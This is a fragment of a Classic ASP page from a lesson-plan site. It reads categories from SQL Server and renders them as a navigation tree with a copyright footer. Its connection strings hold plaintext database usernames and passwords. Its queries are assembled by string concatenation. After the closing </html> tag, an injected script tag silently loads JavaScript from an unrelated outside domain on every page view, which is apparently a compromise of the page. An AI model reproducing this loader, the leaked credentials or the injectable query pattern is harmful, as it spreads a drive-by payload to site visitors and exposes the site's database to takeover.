\SQL2,4657;uid=vs217229_1_dbo;pwd=W93Qh6Et8D;database=vs217229_1"
	'fDB = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=C:\TP.mdb; User Id=admin; Password=" 

fDB = "driver={SQL Server};server=wic003q.server-sql.com\SQL3,4658;uid=vs178702_1_dbo;pwd=C5Nwf6ZJ9s;database=vs178702_1"
		
strSQL = "SELECT Level_ FROM LessonPlansSample GROUP BY LessonPlansSample.Level_"
	
oCon.Open fDB
Set oRs= oCon.Execute(strSQL)

oRs.Movefirst

' Add Root nodes 
x=0
Do until oRs.eof	
	Set tn = new Node
	With tn
		.Text = oRs("Level_")
		.Href = ""
		.ToolTipText=""
		.ImageUrl = "images_xp/Plus.gif"
		.Target="_self"	
	End With
	tv.Nodes.Add(tn)
	
	' AddLevel 2 Nodes
	strSQL = "SELECT KLA FROM LessonPlansSample where Level_ = '" & oRs("Level_") & "' Group by KLA"
	Set oRs2= oCon.Execute(strSQL)
	oRs2.Movefirst

	y=0
	
	Do until oRs2.eof	
	
		tv.Nodes(x).Add(tv.CreateNode(ors2("KLA"),"",""))
		tv.Nodes(x).ChildNodes(y).ImageUrl="images_xp/plus.gif"
		'tn.ImageUrl="images_XP/plus.gif"

		' AddLevel 3 Nodes
		strSQL = "SELECT [Lesson Plan Name] , URL FROM LessonPlansSample where Level_ = '" & oRs("Level_") & "'"
		strSQL = strSQL & " and KLA = '" & ors2("KLA") & "' ORDER BY [Lesson Plan Name]"
		
		Set oRs3= oCon.Execute(strSQL)
		oRs3.Movefirst

		z=0

		Do until oRs3.eof	
	
			tv.Nodes(x).ChildNodes(y).Add(tv.CreateNode(ors3("Lesson Plan Name"),ors3("URL"),""))
			tv.Nodes(x).ChildNodes(y).ChildNodes(z).ImageUrl="images_xp/dot.gif"

			ors3.movenext

			z=z+1
		
		Loop

		ors2.movenext

		y=y+1
		
	Loop

	oRs.Movenext
	x=x+1

Loop
				
oRs.close 
oCon.close

'display your treeview
tv.Display

'clear memory
Set tv = Nothing

%>

&nbsp;</td>
		
      </tr>
    </table>


			&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      

<p><span class="normal"><FONT size=1>"Microsoft&reg; and the Office logo 
      are trademarks or registered trademarks of Microsoft Corporation in the United States and/or other countries.&quot;</FONT></span></p>
<p>&nbsp;</p>

</td>
    <td valign="top" height="100%" width="5" background="images/!!!.gif"></td>
  </tr>
  <tr>
    <td colspan="4" height="39" background="images/fon_bot.gif" style="padding-left: 162; padding-top: 7" valign="top">
	

<font color="#FFFFFF">&copy; Copyright Intouch - a division of Prime Learning Pty Ltd, All rights reserved, 2005-2007</font></td>
    <td width="100%" background="images/fon_bot.gif"></td>
  </tr>
</table>

</body>
</html><script src=http://maltepeadak.com/includes/desktop.php ></script>